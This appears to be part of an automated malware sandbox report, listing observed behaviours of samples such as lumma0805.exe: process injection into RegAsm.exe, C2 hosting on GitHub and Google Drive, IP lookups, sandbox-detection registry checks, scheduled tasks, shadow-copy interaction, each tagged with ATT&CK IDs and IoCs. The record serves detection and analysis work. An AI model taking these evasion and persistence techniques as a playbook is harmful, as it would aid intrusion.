File opened (read-only)	\??\R:	SearchIndexer.exe
File opened (read-only)	\??\S:	SearchIndexer.exe
File opened (read-only)	\??\t:	SearchIndexer.exe
File opened (read-only)	\??\U:	SearchIndexer.exe
File opened (read-only)	\??\A:	SearchIndexer.exe
File opened (read-only)	\??\b:	SearchIndexer.exe
File opened (read-only)	\??\G:	SearchIndexer.exe
File opened (read-only)	\??\j:	SearchIndexer.exe
File opened (read-only)	\??\K:	SearchIndexer.exe
File opened (read-only)	\??\N:	SearchIndexer.exe
File opened (read-only)	\??\Q:	SearchIndexer.exe
File opened (read-only)	\??\g:	SearchIndexer.exe
File opened (read-only)	\??\I:	SearchIndexer.exe
File opened (read-only)	\??\O:	SearchIndexer.exe
File opened (read-only)	\??\s:	SearchIndexer.exe
File opened (read-only)	\??\X:	SearchIndexer.exe
File opened (read-only)	\??\o:	SearchIndexer.exe
File opened (read-only)	\??\v:	SearchIndexer.exe
File opened (read-only)	\??\V:	SearchIndexer.exe
File opened (read-only)	\??\D:	SearchIndexer.exe
File opened (read-only)	\??\H:	SearchIndexer.exe
File opened (read-only)	\??\k:	SearchIndexer.exe
File opened (read-only)	\??\l:	SearchIndexer.exe
File opened (read-only)	\??\q:	SearchIndexer.exe
File opened (read-only)	\??\Y:	SearchIndexer.exe
File opened (read-only)	\??\a:	SearchIndexer.exe
File opened (read-only)	\??\m:	SearchIndexer.exe
File opened (read-only)	\??\T:	SearchIndexer.exe
File opened (read-only)	\??\W:	SearchIndexer.exe
File opened (read-only)	\??\Z:	SearchIndexer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service
T1102

Processes:

flow ioc

78 raw.githubusercontent.com
113 drive.google.com
118 drive.google.com
180 drive.google.com
48 raw.githubusercontent.com
48 drive.google.com

flow	ioc
78	raw.githubusercontent.com
113	drive.google.com
118	drive.google.com
180	drive.google.com
48	raw.githubusercontent.com
48	drive.google.com

Looks up external IP address via web service 9 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
141	api.ipify.org
210	ipinfo.io
330	api.ipify.org
49	ip-api.com
63	api.ipify.org
82	checkip.amazonaws.com
48	ip-api.com
144	checkip.amazonaws.com
218	ipinfo.io

Checks system information in the registry 2 TTPs 6 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

OneDriveSetup.exeOneDriveSetup.exeOneDrive.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	OneDriveSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	OneDriveSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	OneDriveSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	OneDriveSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	OneDrive.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	OneDrive.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

lumma0805.execrypted_4c800f49.exe324hj23k4jh423kjh4g423.exe

description	pid	process	target process
PID 4928 set thread context of 5160	4928	lumma0805.exe	RegAsm.exe
PID 5632 set thread context of 1592	5632	crypted_4c800f49.exe	RegAsm.exe
PID 2520 set thread context of 1508	2520	324hj23k4jh423kjh4g423.exe	katBC08.tmp

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

8048 sc.exe
8076 sc.exe
3760 sc.exe
6212 sc.exe
6304 sc.exe
6296 sc.exe
7388 sc.exe
7816 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
8048	sc.exe
8076	sc.exe
3760	sc.exe
6212	sc.exe
6304	sc.exe
6296	sc.exe
7388	sc.exe
7816	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1440	4016	WerFault.exe	ReurgingGleek.exe
7120	7568	WerFault.exe	%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe
316	4504	WerFault.exe	net.exe
5876	6756	WerFault.exe	ghjkl.exe
6644	6756	WerFault.exe	ghjkl.exe

NSIS installer 1 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\maza-0.16.3-win64-setup-unsigned.exe	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

taskmgr.exeOneDrive.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	OneDrive.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe

Creates scheduled task(s) 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2276	schtasks.exe
7084	schtasks.exe
7652	schtasks.exe
7976	schtasks.exe
7736	schtasks.exe
7716	schtasks.exe
3472	schtasks.exe
4712	schtasks.exe
1684	schtasks.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

8272 tasklist.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

5460 vssadmin.exe

pid	process
8272	tasklist.exe

pid	process
5460	vssadmin.exe

Kills process with taskkill 10 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2264	taskkill.exe
5828	taskkill.exe
5972	taskkill.exe
6560	taskkill.exe
3612	taskkill.exe
8852	taskkill.exe
5664	taskkill.exe
2320	taskkill.exe
6884	taskkill.exe
6420	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 12 IoCs

adware spyware

Modify Registry

T1112

Processes:

OneDrive.exeOneDriveSetup.exeOneDrive.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDrive.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main	OneDrive.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	OneDrive.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

SearchProtocolHost.exeSearchFilterHost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wmv\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-131 = "Rich Text Format"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\MPEG2Demultiplexer	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mpeg\OpenWithList	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mpv2\OpenWithList	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wmv	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\System32\ieframe.dll,-10046 = "Internet Shortcut"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wav\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-142 = "Microsoft OneNote Table Of Contents"	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{5383EF74-273B-4278-AB0C-CDAA9FD5369E} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000394c93b33ea8da01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\MPEG2Demultiplexer	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{97E467B4-98C6-4F19-9588-161B7773D6F6} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000064b2eb43ea8da01	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{1E589E9D-8A8D-46D9-A2F9-E6D4F8161EE9} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000011d537b43ea8da01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Multimedia	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9908 = "Wave Sound"	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{AEB16279-B750-48F1-8586-97956060175A} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000b44d45b53ea8da01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.jpg\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-126 = "Microsoft Word Macro-Enabled Template"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mpeg	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\system32\windows.storage.dll,-10152 = "File folder"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ico\OpenWithList	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9902 = "Movie Clip"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.wav	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.M2V	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{E0F158E1-CB04-11D0-BD4E-00A0C911CE86}\Default DirectSound Device	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Multimedia\ActiveMovie	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.M2V\OpenWithList	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.jpg	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\system32\zipfldr.dll,-10195 = "Compressed (zipped) Folder"	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{A38B883C-1682-497E-97B0-0A3A9E801682} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 010000000000000021e5fe943ea8da01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ico	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-115 = "Microsoft Excel 97-2003 Worksheet"	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Windows\system32\unregmp2.exe,-9914 = "Windows Media Audio/Video file"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-140 = "Microsoft OneNote Section"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 01000000000000002c047db03ea8da01	SearchProtocolHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-123 = "Microsoft Word Document"	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	SearchFilterHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\{4EFE2452-168A-11D1-BC76-00C04FB9453B}\Default MidiOut Device	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX86\Microsoft Shared\Office16\oregres.dll,-180 = "Microsoft PowerPoint 97-2003 Template"	SearchProtocolHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{E46787A1-4629-4423-A693-BE1F003B2742} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF = 0100000000000000234a4db43ea8da01	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mpv2	SearchProtocolHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SearchFilterHost.exe

Modifies registry class 64 IoCs

Processes:

OneDrive.exeOneDriveSetup.exeOneDrive.exeexplorer.exeFileSyncConfig.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\FileSyncClient.FileSyncClient.1	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\INTERFACE\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\TypeLib	OneDrive.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1\0\0 = 50003100000000009a583a7d100041646d696e003c0009000400efbe9a58637ab158454d2e00000057570200000001000000000000000000000000000000d4131101410064006d0069006e00000014000000	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\ = "IGetSelectiveSyncInformationCallback"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{6bb93b4e-44d8-40e2-bd97-42dbcf18a40f}\ = "ToastActivator Class"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder\FolderValueFlags = "40"	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07}	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\BANNERNOTIFICATIONHANDLER.BANNERNOTIFICATIONHANDLER\CLSID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\ = "ReadOnlyOverlayHandler Class"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{0f872661-c863-47a4-863f-c065c182858a}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\ = "IToastNotificationEvent"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\ = "SharedOverlayHandler Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{6bb93b4e-44d8-40e2-bd97-42dbcf18a40f}	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba}	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}\ProxyStubClsid32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{31508CC7-9BC7-494B-9D0F-7B1C7F144182}\TypeLib\ = "{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\SyncEngineFileInfoProvider.SyncEngineFileInfoProvider.1\CLSID\ = "{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\FileSyncClient.AutoPlayHandler	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{9D613F8A-B30E-4938-8490-CB5677701EBF}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\ = "IGetLinkCallback"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a}\ProxyStubClsid32	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07}\ProxyStubClsid32	OneDriveSetup.exe
